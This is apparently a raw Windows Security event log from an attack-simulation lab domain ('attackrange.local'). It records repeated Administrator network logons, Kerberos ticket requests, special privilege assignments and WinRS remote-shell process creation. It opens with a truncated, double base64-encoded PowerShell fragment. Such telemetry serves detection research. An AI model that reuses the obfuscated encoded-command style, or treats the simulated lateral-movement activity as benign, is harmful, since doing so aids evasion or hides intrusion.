AEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251186
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B409

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251185
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B409
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251184
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251183
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251182
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251181
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B3ED

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251180
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B3ED

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251179
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B3ED
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251178
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251177
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251176
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251175
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12AF2F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251294
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x133c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251293
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251292
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251291
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EEA9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251290
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251289
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251288
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251287
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EE71

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251286
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251285
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CF09

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251284
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EE71

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251283
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EE71
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251282
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251281
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{00C2C944-BA79-362D-F776-9BBD2E4E8E56}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251280
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251279
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12EE55

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
